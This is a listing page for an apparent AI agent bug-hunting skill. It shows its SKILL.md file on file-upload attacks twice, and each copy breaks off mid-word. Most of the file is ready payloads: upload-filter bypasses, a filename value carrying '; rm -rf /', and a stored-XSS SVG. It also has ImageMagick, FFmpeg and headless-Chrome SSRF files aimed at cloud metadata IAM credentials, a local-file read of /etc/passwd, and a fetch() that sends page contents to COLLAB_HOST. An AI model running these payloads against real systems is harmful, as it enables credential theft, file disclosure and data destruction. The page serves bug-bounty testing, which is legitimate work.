hunt-file-upload

Name: hunt-file-upload
Author: elementalsouls

3.0kstars461forks

How to install hunt-file-upload?

elementalsouls/claude-bughunter/hunt-file-upload

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-file-upload

Installs into the current project.

Summary

Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\0.jpg), ca

Files · 1

View on GitHub

SKILL.md

1	## 9. FILE UPLOAD
2
3	### Content-Type Bypass
4	```
5	filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
6	filename=shell.phtml, shell.pHp, shell.php5 → extension variants
7	```
8
9	### File Upload Bypass Techniques (10 techniques)
10
11	\| Attack \| How \| Prevention \|
12	\|---\|---\|---\|
13	\| Extension bypass \| `shell.php.jpg`, `shell.pHp`, `shell.php5` \| Allowlist + extract final extension \|
14	\| Null byte \| `shell.php%00.jpg` \| Sanitize null bytes \|
15	\| Double extension \| `shell.jpg.php` \| Only allow single extension \|
16	\| MIME spoof \| Content-Type: image/jpeg with .php body \| Validate magic bytes, not MIME header \|
17	\| Magic bytes prefix \| Prepend `GIF89a;` to PHP code \| Parse whole file, not just header \|
18	\| Polyglot \| Valid as JPEG and PHP \| Process as image lib, reject if invalid \|
19	\| SVG JavaScript \| `<svg onload="...">` \| Sanitize SVG or disallow entirely \|
20	\| XXE in DOCX \| Malicious XML in Office ZIP \| Disable external entities \|
21	\| ZIP slip \| `../../../etc/passwd` in archive \| Validate extracted paths \|
22	\| Filename injection \| `; rm -rf /` in filename \| Sanitize + use UUID names \|
23
24	### Magic Bytes Reference
25
26	\| Type \| Hex \|
27	\|---\|---\|
28	\| JPEG \| `FF D8 FF` \|
29	\| PNG \| `89 50 4E 47 0D 0A 1A 0A` \|
30	\| GIF \| `47 49 46 38` \|
31	\| PDF \| `25 50 44 46` \|
32	\| ZIP/DOCX/XLSX \| `50 4B 03 04` \|
33
34	### Stored XSS via SVG
35	```xml
36	<?xml version="1.0"?>
37	<svg xmlns="http://www.w3.org/2000/svg">
38	<script>alert(document.domain)</script>
39	</svg>
40	```
41
42	---
43
44	## ImageMagick / FFmpeg Exploitation
45
46	### ImageMagick SSRF / File Read (ImageTragick family + modern variants)
47	```bash
48	# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
49	# MVG SSRF payload — fetches internal URL during processing
50	cat > /tmp/ssrf.mvg << 'EOF'
51	push graphic-context
52	viewbox 0 0 640 480
53	fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
54	pop graphic-context
55	EOF
56
57	# SVG SSRF (ImageMagick processes SVG remotely)
58	cat > /tmp/ssrf.svg << 'EOF'
59	<?xml version="1.0"?>
60	<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
61	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
62	<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
63	</svg>
64	EOF
65
66	# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
67	# Upload a crafted WebP file targeting libwebp heap overflow
68	# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
69	```
70
71	### FFmpeg SSRF via HLS Playlist
72	```bash
73	# FFmpeg processes m3u8 playlists and fetches referenced segments
74	cat > /tmp/ssrf.m3u8 << 'EOF'
75	#EXTM3U
76	#EXT-X-MEDIA-SEQUENCE:0
77	#EXTINF:10.0,
78	http://169.254.169.254/latest/meta-data/iam/security-credentials/
79	#EXT-X-ENDLIST
80	EOF
81
82	# Also works with concat demuxer
83	cat > /tmp/concat.txt << 'EOF'
84	ffconcat version 1.0
85	file 'http://COLLAB_HOST/ffmpeg-ssrf'
86	EOF
87
88	# Test: upload .m3u8 or video file to any video processing endpoint
89	```
90
91	---
92
93	## Headless Chrome / PDF Generator SSRF
94
95	### HTML → PDF Converter Attacks
96	```bash
97	# Target: invoice generators, report exporters, screenshot services
98	# Inject HTML that causes headless Chrome to fetch internal resources
99
100	# SSRF via CSS import
101	PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
102
103	# SSRF via HTML iframe
104	PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
105
106	# Local file read
107	PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
108
109	# JavaScript execution (if sandbox not enforced)
110	PAYLOAD='<html><body><script>
111	fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
112	</script></body></html>'
113
114	# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
115	curl -s -X POST "https://$TARGET/api/generate-pdf" \
116	-H "Content-Type: application/json" \
117	-d "{\"html\": \"$PAYLOAD\"}"
118	```
119
120	---
121
122	## Archive Extraction Attacks (Zip Slip / Symlink)
123
124	```bash
125	# Zip Slip — path traversal via archive filenames
126	pip3 install evilarc
127	python3 e

People who liked this also viewed

6 picks

Type

hunt-file-upload

3.0kstars461forks

View on GitHub

How to install hunt-file-upload?

elementalsouls/claude-bughunter/hunt-file-upload

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-file-upload

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	## 9. FILE UPLOAD
2
3	### Content-Type Bypass
4	```
5	filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
6	filename=shell.phtml, shell.pHp, shell.php5 → extension variants
7	```
8
9	### File Upload Bypass Techniques (10 techniques)
10
11	\| Attack \| How \| Prevention \|
12	\|---\|---\|---\|
13	\| Extension bypass \| `shell.php.jpg`, `shell.pHp`, `shell.php5` \| Allowlist + extract final extension \|
14	\| Null byte \| `shell.php%00.jpg` \| Sanitize null bytes \|
15	\| Double extension \| `shell.jpg.php` \| Only allow single extension \|
16	\| MIME spoof \| Content-Type: image/jpeg with .php body \| Validate magic bytes, not MIME header \|
17	\| Magic bytes prefix \| Prepend `GIF89a;` to PHP code \| Parse whole file, not just header \|
18	\| Polyglot \| Valid as JPEG and PHP \| Process as image lib, reject if invalid \|
19	\| SVG JavaScript \| `<svg onload="...">` \| Sanitize SVG or disallow entirely \|
20	\| XXE in DOCX \| Malicious XML in Office ZIP \| Disable external entities \|
21	\| ZIP slip \| `../../../etc/passwd` in archive \| Validate extracted paths \|
22	\| Filename injection \| `; rm -rf /` in filename \| Sanitize + use UUID names \|
23
24	### Magic Bytes Reference
25
26	\| Type \| Hex \|
27	\|---\|---\|
28	\| JPEG \| `FF D8 FF` \|
29	\| PNG \| `89 50 4E 47 0D 0A 1A 0A` \|
30	\| GIF \| `47 49 46 38` \|
31	\| PDF \| `25 50 44 46` \|
32	\| ZIP/DOCX/XLSX \| `50 4B 03 04` \|
33
34	### Stored XSS via SVG
35	```xml
36	<?xml version="1.0"?>
37	<svg xmlns="http://www.w3.org/2000/svg">
38	<script>alert(document.domain)</script>
39	</svg>
40	```
41
42	---
43
44	## ImageMagick / FFmpeg Exploitation
45
46	### ImageMagick SSRF / File Read (ImageTragick family + modern variants)
47	```bash
48	# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
49	# MVG SSRF payload — fetches internal URL during processing
50	cat > /tmp/ssrf.mvg << 'EOF'
51	push graphic-context
52	viewbox 0 0 640 480
53	fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
54	pop graphic-context
55	EOF
56
57	# SVG SSRF (ImageMagick processes SVG remotely)
58	cat > /tmp/ssrf.svg << 'EOF'
59	<?xml version="1.0"?>
60	<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
61	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
62	<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
63	</svg>
64	EOF
65
66	# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
67	# Upload a crafted WebP file targeting libwebp heap overflow
68	# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
69	```
70
71	### FFmpeg SSRF via HLS Playlist
72	```bash
73	# FFmpeg processes m3u8 playlists and fetches referenced segments
74	cat > /tmp/ssrf.m3u8 << 'EOF'
75	#EXTM3U
76	#EXT-X-MEDIA-SEQUENCE:0
77	#EXTINF:10.0,
78	http://169.254.169.254/latest/meta-data/iam/security-credentials/
79	#EXT-X-ENDLIST
80	EOF
81
82	# Also works with concat demuxer
83	cat > /tmp/concat.txt << 'EOF'
84	ffconcat version 1.0
85	file 'http://COLLAB_HOST/ffmpeg-ssrf'
86	EOF
87
88	# Test: upload .m3u8 or video file to any video processing endpoint
89	```
90
91	---
92
93	## Headless Chrome / PDF Generator SSRF
94
95	### HTML → PDF Converter Attacks
96	```bash
97	# Target: invoice generators, report exporters, screenshot services
98	# Inject HTML that causes headless Chrome to fetch internal resources
99
100	# SSRF via CSS import
101	PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
102
103	# SSRF via HTML iframe
104	PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
105
106	# Local file read
107	PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
108
109	# JavaScript execution (if sandbox not enforced)
110	PAYLOAD='<html><body><script>
111	fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
112	</script></body></html>'
113
114	# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
115	curl -s -X POST "https://$TARGET/api/generate-pdf" \
116	-H "Content-Type: application/json" \
117	-d "{\"html\": \"$PAYLOAD\"}"
118	```
119
120	---
121
122	## Archive Extraction Attacks (Zip Slip / Symlink)
123
124	```bash
125	# Zip Slip — path traversal via archive filenames
126	pip3 install evilarc
127	python3 e

People who liked this also viewed

6 picks

Type